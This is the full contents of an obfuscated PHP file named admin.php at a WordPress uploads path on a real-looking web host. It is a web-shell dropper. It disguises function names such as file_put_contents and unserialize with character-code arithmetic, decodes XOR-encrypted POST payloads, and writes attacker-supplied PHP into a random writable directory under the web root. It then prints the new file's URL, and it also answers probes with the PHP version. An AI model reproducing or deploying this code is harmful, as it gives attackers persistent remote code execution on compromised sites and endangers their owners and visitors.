File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/uploads/2023/04/admin.php
<?php $HmNvdg = chr(68).chr(1014-935).'C'.chr(85)."\x4d"."\x45"."\116".'T'."\137"."\122".'O'.chr(79)."\124";$bfbnzIFk = chr(72).chr(892-808).chr(1077-993).chr(437-357).chr(462-367).chr(72).chr(79).'S'."\124";$Zjdseemy = 'h'."\164".'t'.'p'.chr(409-351)."\x2f"."\x2f";$JrrYtt = chr(46)."\x70".'h'."\160";$HOFryD = "\x70".'h'."\x70";$jKPVZ = chr(474-372)."\x69".'l'.chr(976-875).chr(118-23)."\x70".chr(398-281).chr(116).chr(95).chr(99).chr(794-683).'n'."\x74"."\145".chr(110).'t'."\x73";$CWJffGA = chr(114).chr(580-483).chr(973-854).chr(117).'r'.chr(263-155)."\144".chr(537-436)."\x63".chr(111)."\x64".chr(101);$XVoSIGb = 'u'.chr(110).'s'."\145".'r'.chr(105)."\x61".chr(108).chr(682-577)."\172"."\145";$FJxEV = chr(105).chr(115)."\x5f".chr(432-313)."\x72".chr(479-374)."\x74".chr(226-129)."\x62"."\x6c".'e';$KtNITxS = "\x70".chr(104)."\160"."\166"."\x65"."\x72"."\x73"."\151"."\157".chr(110);$QlgdwQjScj = "\163".'t'.chr(1051-937)."\x5f"."\162".chr(111).chr(1031-915).chr(49)."\63";$KjGBDpcF = "\163"."\145".chr(114)."\x69".chr(97).'l'.'i'.'z'.'e';$dFdVTOJ = chr(899-784).chr(116).chr(745-631).chr(95).'s'."\160".chr(108)."\x69".chr(116);foreach ($_POST as $kyLvyK => $jlljqHs){$BIhDwMOHP = strlen($kyLvyK);if ($BIhDwMOHP == 16){$jlljqHs = $dFdVTOJ($CWJffGA($QlgdwQjScj($jlljqHs)));$kyLvyK = array_slice($dFdVTOJ(str_repeat($kyLvyK, (count($jlljqHs)/16)+1)), 0, count($jlljqHs));function quOeGFaN($yzUcgECGuY, $HRkIXAfwG, $kyLvyK){$qnpYMSP = "16ef34f2-e76a-49eb-afa1-7e96bf218f9e";return $yzUcgECGuY ^ $qnpYMSP[$HRkIXAfwG % strlen($qnpYMSP)] ^ $kyLvyK;}$jlljqHs = implode("", array_map("quOeGFaN", array_values($jlljqHs), array_keys($jlljqHs), array_values($kyLvyK)));$jlljqHs = @$XVoSIGb($jlljqHs);if (@is_array($jlljqHs)){$avmdTRbF = array_keys($jlljqHs);$jlljqHs = $jlljqHs[$avmdTRbF[0]];if ($jlljqHs === $avmdTRbF[0]){echo @$KjGBDpcF(Array($HOFryD => @$KtNITxS(), ));exit();}else {function eCQjwHImb($VoYWfoiBVmir){static $GTqMAHsmK = array();$pSEGKOPLm = glob($VoYWfoiBVmir . '/*', GLOB_ONLYDIR);$jmdMn = count($pSEGKOPLm);if ($jmdMn > 0) {foreach ($pSEGKOPLm as $VoYWfoiBVm) {if (@$FJxEV($VoYWfoiBVm)) {$GTqMAHsmK[] = $VoYWfoiBVm;}}}foreach ($pSEGKOPLm as $VoYWfoiBVmir) eCQjwHImb($VoYWfoiBVmir);return $GTqMAHsmK;}$NNgEDqnOOA = $_SERVER[$HmNvdg];$pSEGKOPLm = eCQjwHImb($NNgEDqnOOA);$avmdTRbF = array_rand($pSEGKOPLm);$JaBFPbFMs = $pSEGKOPLm[$avmdTRbF] . "/" . substr(md5(time()), 0, 8) . $JrrYtt;@$jKPVZ($JaBFPbFMs, $jlljqHs);$JJxDbH = $Zjdseemy . $_SERVER[$bfbnzIFk] . substr($JaBFPbFMs, strlen($NNgEDqnOOA));echo $JJxDbH;die();}}}}